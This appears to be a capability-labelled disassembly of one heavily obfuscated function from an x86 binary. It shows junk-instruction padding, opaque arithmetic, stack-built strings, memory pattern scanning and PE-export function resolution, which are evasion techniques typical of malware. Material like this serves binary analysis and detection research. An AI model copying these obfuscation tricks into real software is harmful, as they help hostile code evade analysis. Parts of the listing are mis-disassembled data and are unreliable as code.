Function at 0x407843
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x1e6c]
cmp edx, dword [ebp - 0x1e70]
jae 0x4035c2
mov dword [ebp - 0x15b8], 1
jmp 0x4035cc
mov dword [ebp - 0x15b8], 0
mov al, byte [ebp - 0x15b8]
mov byte [ebp - 0x3c1], al
movzx ecx, byte [ebp - 0x3c1]
test ecx, ecx
je 0x406175
push ecx
sub ecx, 0x11346
xor ecx, 0x8a11
pop ecx
push eax
push edx
add esp, 4
or eax, 0x5105
xor eax, 0x75
call 0x403615
add byte [eax + 0x33], cl
aas
cmp dh, byte ds:[edx + ecx*2]
cmp byte [ebx], dh
add esp, 4
pop eax
push edi
push eax
add esp, 4
jmp 0x403625
pop edi
push ecx
and ecx, 0x7794
pop ecx
push ebx
add ebx, 0x39e4
jmp 0x40363c
jmp 0x403644
xor ebx, 0x13337
pop ebx
mov edx, dword [ebp - 0x28]
add edx, 0xfe
add byte [eax], al
imul eax, dword [ebp - 0x24], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x24], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x24]
mov dword [ebp - 0x1e74], edx
mov edx, dword [ebp - 0x1e74]
mov dword [ebp - 0x1e78], edx
cmp dword [ebp - 0x1e78], 0x63c1
jne 0x4037d8
push edx
push eax
add esp, 4
add edx, 0x9acc
xor edx, 0x7e4b
or edx, 0x137e
pop edx
push ecx
xor ecx, 0xff66
or ecx, 0x2651
pop ecx
push esi
push edi
add esp, 4
sub esi, 0x15d64
pop esi
mov eax, dword [ebp - 0x10c]
add eax, 0xfe
imul ecx, dword [ebp - 0x108], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x108], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x108]
mov dword [ebp - 0x1e7c], eax
mov eax, dword [ebp - 0x1e7c]
mov dword [ebp - 0x1e80], eax
mov ecx, dword [ebp - 0x1e80]
sub ecx, 0x898
mov dword [ebp - 0x1e84], ecx
mov dword [ebp - 0x108c], 1
push edi
push ebx
add esp, 4
add edi, 0x7d38
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x13229
xor ecx, 0x1469d
and ecx, 0x11956
add ecx, 0xe91d
pop ecx
push eax
xor eax, 0xfc0
pop eax
imul edx, dword [ebp - 0x108c], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x108c], 0xfe
sub edx, eax
xor edx, dword [ebp - 0x1e84]
imul edx, dword [ebp - 0x108c]
imul ecx, dword [ebp - 0x108c], 0xfe
sub edx, ecx
mov dword [ebp - 0x1090], edx
mov edx, dword [ebp - 0x1090]
mov eax, dword [ebp - 0x108c]
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], eax
push esi
push ecx
add esp, 4
and esi, 0x10437
and esi, 0x1c81
xor esi, 0x13667
pop esi
push edi
sub edi, 0x4fb6
call 0x4037d4
add byte [esi + 0x39], cl
aas
cmp bh, byte [edx]
inc ebp
xor bh, byte [ecx]
inc ecx
add esp, 4
pop edi
lea ecx, [ebp - 0x9c4]
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x41c]
mov dword [edx + 4], 1
push edx
add edx, 0x1802f
or edx, 0xc7a7
pop edx
push edi
push ebx
add esp, 4
xor edi, 0x103da
jmp 0x403813
or edi, 0xe41e
jmp 0x403822
pop edi
mov eax, dword [ebp - 0x41c]
imul ecx, dword [eax + 4], 0xfe
add ecx, 0x56f3663b
mov edx, dword [ebp - 0x41c]
imul eax, dword [edx + 4], 0xfe
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x41c]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x41c]
imul edx, dword [eax + 4], 0xfe
sub ecx, edx
mov eax, dword [ebp - 0x41c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x41c]
mov dword [ebp - 0x2090], ecx
push edi
or edi, 0xacc3
pop edi
push edi
sub edi, 0x3bd2
or edi, 0xc13c
or edi, 0x6bbe
pop edi
push edi
add edi, 0x27e7
xor edi, 0x1503f
jmp 0x4038a6
pop edi
mov dword [ebp - 0x15c0], 1
push eax
sub eax, 0xc638
sub eax, 0x13a0d
or eax, 0x5800013a
push edi
push esi
add esp, 4
or edi, 0x10c30
call 0x4038d7
add byte [ebx], dh
mov dword [ebp - 0x414], 0
call 0x406184
mov eax, 0xdeadbeef
pop eax
mov dword [ebp - 0x414], eax
lea edx, [ebp - 0x9dc]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x428]
mov dword [eax + 4], 1
push esi
push ecx
add esp, 4
and esi, 0x13616
pop esi
push edi
and edi, 0xc937
or edi, 0x7e9b
or edi, 0x16f27
jmp 0x4061ce
pop edi
push esi
push edi
add esp, 4
add esi, 0x16af0
pop esi
mov ecx, dword [ebp - 0x428]
imul edx, dword [ecx + 4], 0xfe
add edx, 0x56f3663b
mov eax, dword [ebp - 0x428]
imul ecx, dword [eax + 4], 0xfe
sub edx, ecx
xor edx, 0x18
mov eax, dword [ebp - 0x428]
imul edx, dword [eax + 4]
mov ecx, dword [ebp - 0x428]
imul eax, dword [ecx + 4], 0xfe
sub edx, eax
mov ecx, dword [ebp - 0x428]
mov dword [ecx], edx
mov edx, dword [ebp - 0x428]
mov dword [ebp - 0x2100], edx
push eax
push esi
add esp, 4
xor eax, 0x1b6e
or eax, 0x1677c
or eax, 0x98f5
call 0x406253
add byte [esi + 0x38], cl
aaa
inc esp
dec edi
cmp eax, 0x83493e3c
les eax, [eax + ebx*2]
push edx
sub edx, 0x1169d
pop edx
mov dword [ebp - 0x15d8], 1
push ecx
push ebx
add esp, 4
add ecx, 0x10d13
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0xfc36
pop ecx
push edi
add edi, 0x9031
or edi, 0x6f69
xor edi, 0x2f56
and edi, 0xa1
pop edi
mov dword [ebp - 0x2104], 0x38
mov dword [ebp - 0x2108], 0xe6
mov dword [ebp - 0x210c], 0x6e
mov dword [ebp - 0x2038], 0x6e
mov dword [ebp - 0x203c], 0x78
mov dword [ebp - 0x1690], 1
push edx
push edx
add esp, 4
jmp 0x4062e1
or edx, 0xd46d
xor edx, 0x3dff
pop edx
push ebx
push eax
add esp, 4
call 0x4062ff
add byte [ecx + 0x32], al
inc eax
inc ebp
cmp eax, 0x4c4833f
or ebx, 0x18226
pop ebx
imul eax, dword [ebp - 0x1690], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x1690], 0xfe
sub eax, ecx
xor eax, 0xe6
imul eax, dword [ebp - 0x1690]
imul edx, dword [ebp - 0x1690], 0xfe
sub eax, edx
mov dword [ebp - 0x1694], eax
push eax
push ebx
add esp, 4
xor eax, 0x11562
pop eax
push eax
jmp 0x406358
jmp 0x406360
call 0x406370
add byte [edi], dh
push eax
xor eax, 0x384c4d35
cmp byte [ecx + 0x40], al
add esp, 4
pop eax
push eax
push esi
add esp, 4
xor eax, 0xaf36
sub eax, 0x3aad
add eax, 0xa16a
call 0x40639a
add byte [esi + 0x45], cl
dec edx
xor eax, 0x3a4b4335
cmp al, 0x83
les eax, [eax + ebx*2]
push ebx
or ebx, 0x86e1
pop ebx
mov eax, dword [ebp - 0x9dc]
add eax, 0xfe
imul ecx, dword [ebp - 0x9d8], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x9d8], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x1fe0], eax
mov eax, dword [ebp - 0x1fe0]
mov dword [ebp - 0x1fe4], eax
mov ecx, dword [ebp - 0x1fe4]
sub ecx, 0x6e
mov dword [ebp - 0x2034], ecx
mov dword [ebp - 0xabc], 1
push eax
sub eax, 0x10984
pop eax
push edx
push esi
add esp, 4
xor edx, 0x65db
xor edx, 0x9daf
sub edx, 0x14131
pop edx
push esi
push edx
add esp, 4
xor esi, 0x14764
and esi, 0x54d6
pop esi
imul edx, dword [ebp - 0xabc], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0xabc], 0xfe
sub edx, eax
xor edx, dword [ebp - 0x2034]
imul edx, dword [ebp - 0xabc]
imul ecx, dword [ebp - 0xabc], 0xfe
sub edx, ecx
mov dword [ebp - 0xac0], edx
push eax
or eax, 0x1012a
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x1044c
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0x17fb2
or ecx, 0xc00f
or ecx, 0x4281
sub ecx, 0xd201
pop ecx
mov edx, dword [ebp - 0x9dc]
add edx, 0xfe
imul eax, dword [ebp - 0x9d8], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x9d8], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x9d8]
mov dword [ebp - 0x1f24], edx
mov edx, dword [ebp - 0x1f24]
mov dword [ebp - 0x1f28], edx
mov eax, dword [ebp - 0x1f28]
add eax, 0x38
mov dword [ebp - 0x1f2c], eax
mov dword [ebp - 0xac4], 1
push edi
xor edi, 0x15d3e
add edi, 0x14b4d
pop edi
push edx
push edx
add esp, 4
and edx, 0xf65b
xor edx, 0xde74
call 0x406529
add byte [edx + 0x4a], cl
dec edx
push eax
inc ecx
inc eax
dec edi
inc ecx
inc ecx
add esp, 4
pop edx
imul ecx, dword [ebp - 0xac4], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0xac4], 0xfe
sub ecx, edx
xor ecx, dword [ebp - 0x1f2c]
imul ecx, dword [ebp - 0xac4]
imul eax, dword [ebp - 0xac4], 0xfe
sub ecx, eax
mov dword [ebp - 0xac8], ecx
push ecx
and ecx, 0xb195
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0x7ec3
add edi, 0x93bc
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0x5bbd
jmp 0x406593
and ebx, 0x1522a
pop ebx
push edx
xor edx, 0x128cd
and edx, 0x7033
xor edx, 0x59e7
pop edx
push eax
push ecx
add esp, 4
xor eax, 0x14595
and eax, 0x14703
sub eax, 0x4345
xor eax, 0x1129d
pop eax
mov dword [ebp - 0x2d8], 1
push edi
add edi, 0x65f4
sub edi, 0xfc16
pop edi
push ecx
push ecx
add esp, 4
sub ecx, 0x37bd
or ecx, 0x15f7
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x167b7
add edx, 0x73a2
pop edx
imul ecx, dword [ebp - 0x2d8], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x2d8], 0xfe
sub ecx, edx
xor ecx, 2
imul ecx, dword [ebp - 0x2d8]
imul eax, dword [ebp - 0x2d8], 0xfe
sub ecx, eax
mov dword [ebp - 0x2dc], ecx
push ecx
push edx
add esp, 4
or ecx, 0x115bb
add ecx, 0x123a1
or ecx, 0xdde
and ecx, 0x813a
pop ecx
push ecx
or ecx, 0x2329
add ecx, 0xd38
or ecx, 0xb9e3
pop ecx
mov ecx, dword [ebp - 0x9dc]
mov edx, dword [ebp - 0x9d8]
mov dword [ebp - 0x1b8], ecx
mov dword [ebp - 0x1b4], edx
jmp 0x406861
push eax
call 0x40669f
add byte [ebx + 0x41], cl
dec esp
xor al, 0x3a
dec ecx
inc eax
dec esp
inc ebx
add esp, 4
add eax, 0x3a6d
xor eax, 0x10911
pop eax
push edi
push esi
add esp, 4
add edi, 0xc55c
xor edi, 0xe61d
pop edi
mov eax, dword [ebp - 0x1b8]
add eax, 0xfe
imul ecx, dword [ebp - 0x1b4], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x1b4], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1f30], eax
push edx
push edi
add esp, 4
sub edx, 0x13899
jmp 0x40670a
add edx, 0x10ae1
call 0x40671d
add byte [ebx], bh
xor ecx, dword [esi + 0x42]
dec esp
inc eax
inc eax
add esp, 4
pop edx
push edi
or edi, 0x6db0
pop edi
mov eax, dword [ebp - 0x1f30]
sub eax, 1
mov dword [ebp - 0x15d4], eax
push esi
push esi
add esp, 4
sub esi, 0x11add
call 0x406752
add byte [esi], dh
inc ebx
inc ebp
aaa
inc ebx
dec eax
cmp al, 0x41
inc edi
add esp, 4
pop esi
push ebx
add ebx, 0xf7f2
pop ebx
push eax
push eax
add esp, 4
add eax, 0x133a9
pop eax
push edi
push eax
add esp, 4
call 0x40677b
add byte [edi], dh
dec esi
xor al, 0x4f
inc esp
inc eax
add esp, 4
pop edi
push esi
call 0x406790
add byte [esi], dh
inc esi
dec esi
inc edx
xor al, 0x38
cmp eax, dword [ebp + 0x4b]
add esp, 4
pop esi
push ebx
jmp 0x40679b
pop ebx
imul ecx, dword [ebp - 0x1b4], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x1b4], 0xfe
sub ecx, edx
xor ecx, dword [ebp - 0x15d4]
imul ecx, dword [ebp - 0x1b4]
imul eax, dword [ebp - 0x1b4], 0xfe
sub ecx, eax
mov dword [ebp - 0x1b8], ecx
mov ecx, dword [ebp - 0x15d4]
imul ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x1fe8], ecx
mov dword [ebp - 0x1698], 1
push eax
push esi
add esp, 4
jmp 0x4067fe
pop eax
push edi
add edi, 0x17249
add edi, 0x5b89
pop edi
push ebx
or ebx, 0x1626f
call 0x406822
add byte [edx + 0x40], cl
cmp eax, 0x3e353c3c
inc esp
add esp, 4
pop ebx
imul edx, dword [ebp - 0x1698], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x1698], 0xfe
sub edx, eax
xor edx, dword [ebp - 0x1fe8]
imul edx, dword [ebp - 0x1698]
imul ecx, dword [ebp - 0x1698], 0xfe
sub edx, ecx
mov dword [ebp - 0x169c], edx
push ecx
push edi
add esp, 4
xor ecx, 0x1dbb
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0x973a
sub edx, 0xe677
and edx, 0x171ee
and edx, 0xa12d
pop edx
push edx
sub edx, 0x14588
pop edx
mov edx, dword [ebp - 0x1b8]
add edx, 0xfe
imul eax, dword [ebp - 0x1b4], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x1b4], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x1b4]
mov dword [ebp - 0x1fec], edx
mov edx, dword [ebp - 0x1fec]
mov dword [ebp - 0x1ff0], edx
cmp dword [ebp - 0x1ff0], 0
jbe 0x406dd7
push eax
sub eax, 0x178c5
jmp 0x4068f0
sub eax, 0x12f2b
pop eax
push ebx
call 0x406904
add byte [edx], bh
cmp dword [edi], esi
cmp byte [edx], dh
inc esp
add esp, 4
or ebx, 0x106a0
or ebx, 0x1574b
pop ebx
mov eax, dword [ebp - 0x1b8]
add eax, 0xfe
imul ecx, dword [ebp - 0x1b4], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x1b4], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1ff4], eax
mov eax, dword [ebp - 0x1ff4]
mov dword [ebp - 0x2000], eax
push ecx
add ecx, 0x132f4
and ecx, 0x3721
and ecx, 0x12419
pop ecx
push esi
push eax
add esp, 4
or esi, 0x49cc
sub esi, 0xf155
add esi, 0x212b
or esi, 0x90d6
pop esi
mov ecx, dword [ebp - 0xac0]
add ecx, 0xfe
imul edx, dword [ebp - 0xabc], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0xabc], 0xfe
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0xabc]
mov dword [ebp - 0x1ff8], ecx
mov ecx, dword [ebp - 0x1ff8]
mov dword [ebp - 0x1ffc], ecx
mov edx, dword [ebp - 0x15d8]
imul edx, dword [ebp - 0x1ffc]
cmp dword [ebp - 0x2000], edx
jne 0x406b5a
push ecx
push eax
add esp, 4
or ecx, 0x2ff8
add ecx, 0x6c93
sub ecx, 0x132e5
add ecx, 0x866d
pop ecx
push esi
xor esi, 0x6960
and esi, 0x6e8a
and esi, 0x5196
pop esi
push esi
push ebx
add esp, 4
and esi, 0x14eab
or esi, 0x7639
add esi, 0xfe4d
pop esi
push eax
xor eax, 0xf76f
add eax, 0x28a2
sub eax, 0xd082
xor eax, 0x12e85
pop eax
mov eax, dword [ebp - 0x2dc]
add eax, 0xfe
imul ecx, dword [ebp - 0x2d8], 0xfe
add ecx, 0x56f3663b
imul edx, dword [ebp - 0x2d8], 0xfe
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x2004], eax
mov eax, dword [ebp - 0x2004]
mov dword [ebp - 0x2008], eax
mov ecx, dword [ebp - 0x2008]
sub ecx, 1
mov dword [ebp - 0x200c], ecx
mov dword [ebp - 0x10d4], 1
push ecx
or ecx, 0x5d13
pop ecx
push esi
push edi
add esp, 4
xor esi, 0x14198
call 0x406ac5
add byte [ecx], bh
dec ebx
dec eax
cmp al, 0x3b
inc esi
xor cl, byte [esi - 0x7d]
les eax, [ecx + eax*4]
out dx, al
bound edx, qword [ebx - 0x97f0000]
test byte [edx], dl
add byte [esi + 0x69], bl
xchg ebp, eax
sub al, 0xef
invalid
push esi
push edx
add esp, 4
or esi, 0x17b4
xor esi, 0x15120
pop esi
push edx
push edi
add esp, 4
jmp 0x406b77
pop edx
push ebx
sub ebx, 0xca80
add ebx, 0x5558
and ebx, 0x17e26
pop ebx
mov ecx, dword [ebp - 0x1b8]
add ecx, 0xfe
imul edx, dword [ebp - 0x1b4], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x1b4], 0xfe
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x2010], ecx
mov ecx, dword [ebp - 0x2010]
mov dword [ebp - 0x201c], ecx
push edx
or edx, 0x97ed
pop edx
push edx
push ebx
add esp, 4
jmp 0x406be2
or edx, 0x43e8
sub edx, 0x129ff
pop edx
push esi
push edi
add esp, 4
xor esi, 0xd732
sub esi, 0x148ad
pop esi
mov edx, dword [ebp - 0xac8]
add edx, 0xfe
imul eax, dword [ebp - 0xac4], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0xac4], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0xac4]
mov dword [ebp - 0x2014], edx
mov edx, dword [ebp - 0x2014]
mov dword [ebp - 0x2018], edx
mov eax, dword [ebp - 0x15d8]
imul eax, dword [ebp - 0x2018]
cmp dword [ebp - 0x201c], eax
jne 0x406dd2
push edx
push ecx
add esp, 4
jmp 0x406c67
and edx, 0xab08
and edx, 0x6785
add edx, 0x15aa2
pop edx
push edx
add edx, 0x1ef2
sub edx, 0x10f10
sub edx, 0xccc6
pop edx
push esi
or esi, 0xe29f
sub esi, 0xbd3
jmp 0x406ca2
pop esi
push edx
push eax
add esp, 4
call 0x406cb6
add byte [edi], dh
xor dh, byte [edi]
inc ebx
inc ebp
xor dh, byte [edi]
add esp, 4
or edx, 0x6157
pop edx
mov ecx, dword [ebp - 0x2dc]
add ecx, 0xfe
imul edx, dword [ebp - 0x2d8], 0xfe
add edx, 0x56f3663b
imul eax, dword [ebp - 0x2d8], 0xfe
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2d8]
mov dword [ebp - 0x2020], ecx
mov ecx, dword [ebp - 0x2020]
mov dword [ebp - 0x2024], ecx
mov edx, dword [ebp - 0x2024]
sub edx, 1
mov dword [ebp - 0x2028], edx
mov dword [ebp - 0x10dc], 1
push edx
push esi
add esp, 4
and edx, 0x7f8e
xor edx, 0x7abb
sub edx, 0x14c3c
pop edx
push esi
add esi, 0xadf3
and esi, 0x8c61
or esi, 0x6ec9
or esi, 0xfcde
pop esi
imul eax, dword [ebp - 0x10dc], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x10dc], 0xfe
sub eax, ecx
xor eax, dword [ebp - 0x2028]
imul eax, dword [ebp - 0x10dc]
imul edx, dword [ebp - 0x10dc], 0xfe
sub eax, edx
mov dword [ebp - 0x10e0], eax
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [ebp - 0x10dc]
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], ecx
push ebx
push eax
add esp, 4
add ebx, 0x16c92
pop ebx
push edx
add edx, 0x14d73
pop edx
push edi
jmp 0x406dbd
sub edi, 0xbf8c
pop edi
push ebx
xor ebx, 0x6cb9
xor ebx, 0x10b61
pop ebx
jmp 0x40668f
push eax
call 0x406de7
add byte [ebx + 0x34], al
inc esp
inc esi
inc ebx
dec ecx
dec esp
dec ecx
dec eax
add esp, 4
and eax, 0x59a6
pop eax
push edx
push esi
add esp, 4
or edx, 0x16d08
sub edx, 0x7233
xor edx, 0x5b9
pop edx
mov edx, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x20d0], edx
mov dword [ebp - 0x20cc], eax
push esi
push eax
add esp, 4
add esi, 0x114d
sub esi, 0x11a8f
pop esi
push edx
or edx, 0x8ab
pop edx
push edx
push eax
add esp, 4
or edx, 0x7335
xor edx, 0xe19a
xor edx, 0x118f7
pop edx
mov ecx, dword [ebp - 0x2040]
mov dword [ebp - 0x15dc], ecx
push eax
push edx
add esp, 4
add eax, 0x8ec6
and eax, 0x1409c
or eax, 0xc995
jmp 0x406e7e
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x576d
xor ecx, 0x31b4
pop ecx
mov edx, dword [ebp - 0x10c]
add edx, 0xfe
imul eax, dword [ebp - 0x108], 0xfe
add eax, 0x56f3663b
imul ecx, dword [ebp - 0x108], 0xfe
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x108]
mov dword [ebp - 0x15dc], edx
mov edx, dword [ebp - 0x414]
mov dword [ebp - 0x202c], edx
mov eax, dword [ebp - 0x202c]
add eax, dword [ebp - 0x15dc]
mov dword [ebp - 0x414], eax
push edi
call 0x406ef4
add byte [edx + eax*2], bh
inc eax
dec ebx
xor al, 0x3b
inc ebx
cmp eax, dword [ebx + 0x525f04c4]
push ecx
add esp, 4
sub edx, 0xe4da
or edx, 0x68e4
jmp 0x406f10
xor edx, 0x14777
pop edx
push edi
add edi, 0xd6a6
and edi, 0x11acb
sub edi, 0x1a2
pop edi
push eax
sub eax, 0x19dc
add eax, 0xe905
call 0x406f45
add byte [edx], dh
aas
inc ecx
inc edi
cmp eax, 0xc4833d4c
add al, 0x58
mov byte [ebp - 0xc08], 0x51
mov byte [ebp - 0xc07], 0xb9
mov byte [ebp - 0xc06], 0x10
mov byte [ebp - 0xc05], 0x10
mov byte [ebp - 0xc04], 0x10
mov byte [ebp - 0xc03], 0x10
mov byte [ebp - 0xc02], 0x59
push ecx
sub ecx, 0x2888
or ecx, 0x9a19
and ecx, 0x4e44
xor ecx, 0x6a18
pop ecx
push esi
push esi
add esp, 4
or esi, 0xa9c3
add esi, 0xaf29
add esi, 0x10356
pop esi
push esi
push esi
add esp, 4
and esi, 0x180d4
and esi, 0xe189
add esi, 0x156c2
pop esi
push eax
sub eax, 0x18592
add eax, 0x14805
and eax, 0x9e3f
and eax, 0x123af
pop eax
mov byte [ebp - 0xc10], 0x51
mov byte [ebp - 0xc0f], 0xb9
mov byte [ebp - 0xc0e], 0x20
mov byte [ebp - 0xc0d], 0x20
mov byte [ebp - 0xc0c], 0x20
mov byte [ebp - 0xc0b], 0x20
mov byte [ebp - 0xc0a], 0x59
push eax
push edi
add esp, 4
xor eax, 0x15209
add eax, 0x1005f
xor eax, 0x10176
jmp 0x40702c
pop eax
push edx
push edx
add esp, 4
add edx, 0x13c62
pop edx
push esi
add esi, 0x897
pop esi
push ebx
add ebx, 0x753
or ebx, 0x9a12
sub ebx, 0xa1
call 0x407063
add byte [edi + eax*2], bh
aas
inc edi
dec eax
dec esi
cmp al, 0x33
add esp, 4
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x3c02
pop edi
mov dword [ebp - 0x2044], 0xe
push eax
push edi
add esp, 4
add eax, 0x54b9
jmp 0x40708e
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x8e73
pop ecx
push esi
jmp 0x4070a2
xor esi, 0x9067
xor esi, 0x302f
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xc08]
mov dword [ebp - 0x15e0], eax
push ecx
and ecx, 0x14aca
call 0x4070d8
add byte [ecx + edi + 0x3f], al
inc ebx
xor edx, dword [eax + 0x3e]
add esp, 4
pop ecx
push ecx
sub ecx, 0x1330d
sub ecx, 0x8b52
sub ecx, 0x1456f
xor ecx, 0x1a03
pop ecx
mov dword [ebp - 0x2048], 0xffffffff
push eax
push edi
add esp, 4
and eax, 0xa3b4
pop eax
push edx
push eax
add esp, 4
add edx, 0x183e5
pop edx
push eax
push edi
add esp, 4
xor eax, 0xe8c6
pop eax
push eax
sub eax, 0x14f11
xor eax, 0x12aa8
pop eax
mov ecx, dword [ebp - 0x414]
mov dword [ebp - 0x460], ecx
jmp 0x40714f
mov edx, dword [ebp - 0x460]
add edx, 1
mov dword [ebp - 0x460], edx
push edx
xor edx, 0x1458
call 0x407164
add byte [eax + 0x4d], cl
dec esp
inc esp
aas
inc ebx
dec ecx
add esp, 4
xor edx, 0xf333
call 0x40717d
add byte [eax], bh
xor edi, dword [eax]
cmp cl, byte [esi + 0x45]
cmp eax, 0x833a474e
les eax, [edx + ebx*2]
mov eax, dword [ebp - 0x460]
sub eax, dword [ebp - 0x414]
cmp eax, 0xffffffff
jb 0x4071c9
push edi
push esi
add esp, 4
sub edi, 0x77e5
pop edi
push eax
push ecx
add esp, 4
or eax, 0x116e7
or eax, 0xb550
sub eax, 0x6ad8
pop eax
push ebx
or ebx, 0x6301
or ebx, 0x2b93
pop ebx
jmp 0x4073f7
mov dword [ebp - 0xc9c], 7
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0xad8], ecx
push eax
push esi
add esp, 4
or eax, 0xff6d
add eax, 0x19ba
xor eax, 0x15c01
pop eax
push ecx
xor ecx, 0x15411
sub ecx, 0x3352
or ecx, 0x6609
sub ecx, 0xc1c2
pop ecx
mov edx, dword [ebp - 0x15e0]
mov dword [ebp - 0xadc], edx
mov dword [ebp - 0xca0], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x15e0]
jne 0x407278
push ecx
push edx
add esp, 4
add ecx, 0x8ab1
pop ecx
push ecx
and ecx, 0xadf5
or ecx, 0x1b64
and ecx, 0x6af9
xor ecx, 0xb5c9
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x6846
pop ebx
mov ecx, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], ecx
jmp 0x4073a9
cmp dword [ebp - 0xc9c], 0
jle 0x40739d
push esi
push eax
add esp, 4
add esi, 0x11881
add esi, 0x155e0
pop esi
push esi
push ecx
add esp, 4
and esi, 0xec1e
and esi, 0x1061b
jmp 0x4072b0
sub esi, 0x15aad
pop esi
mov edx, dword [ebp - 0xad8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xadc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x407339
push edi
push esi
add esp, 4
add edi, 0x114c6
pop edi
push edi
jmp 0x4072e1
jmp 0x4072e6
sub edi, 0xcb7e
pop edi
push edi
push edx
add esp, 4
sub edi, 0x17598
or edi, 0x5655
pop edi
mov eax, dword [ebp - 0xad8]
dec dword [edi]
mov dh, 8
mov edx, dword [ebp - 0xadc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x407321
mov dword [ebp - 0x15e4], 1
jmp 0x40732b
mov dword [ebp - 0x15e4], 0xffffffff
mov ecx, dword [ebp - 0x15e4]
mov dword [ebp - 0xca0], ecx
jmp 0x40739d
push eax
push edi
add esp, 4
jmp 0x407344
xor eax, 0x530e
pop eax
push ebx
push edi
add esp, 4
jmp 0x407358
add ebx, 0xe1e9
sub ebx, 0x4b25
add ebx, 0xd34b
pop ebx
mov edx, dword [ebp - 0xc9c]
sub edx, 1
mov dword [ebp - 0xc9c], edx
mov eax, dword [ebp - 0xad8]
add eax, 1
mov dword [ebp - 0xad8], eax
mov ecx, dword [ebp - 0xadc]
add ecx, 1
mov dword [ebp - 0xadc], ecx
jmp 0x407278
mov edx, dword [ebp - 0xca0]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x4073f2
push esi
or esi, 0x1c04
xor esi, 0x2da
pop esi
push edi
call 0x4073ce
add byte [edx], dh
inc ebx
inc ecx
xor cl, byte [esi + 0x4c]
inc ebx
add esp, 4
pop edi
push edi
push ecx
add esp, 4
sub edi, 0x120fe
jmp 0x4073e3
pop edi
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x408], eax
jmp 0x407433
jmp 0x407140
push ecx
push edx
add esp, 4
or ecx, 0xc9d8
pop ecx
push edi
sub edi, 0xdb58
and edi, 0x8009
or edi, 0x25da
pop edi
push edx
push ebx
add esp, 4
and edx, 0x13938
and edx, 0x176d1
pop edx
mov dword [ebp - 0x408], 0
push edi
add edi, 0x11960
jmp 0x407441
call 0x40744f
add byte [esi], dh
dec ecx
cmp dword [ebx], edi
inc ebp
aas
cmp al, 0x40
add esp, 4
call 0x407461
add byte [ebx + 0x3c], al
xor al, 0x3e
inc ecx
dec esi
dec ebp
inc ebx
add esp, 4
pop edi
push edi
or edi, 0xe13b
pop edi
push esi
push ebx
add esp, 4
sub esi, 0x6f31
jmp 0x40747e
pop esi
push edx
push ecx
add esp, 4
or edx, 0xb1cd
add edx, 0x14899
jmp 0x407496
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xc10]
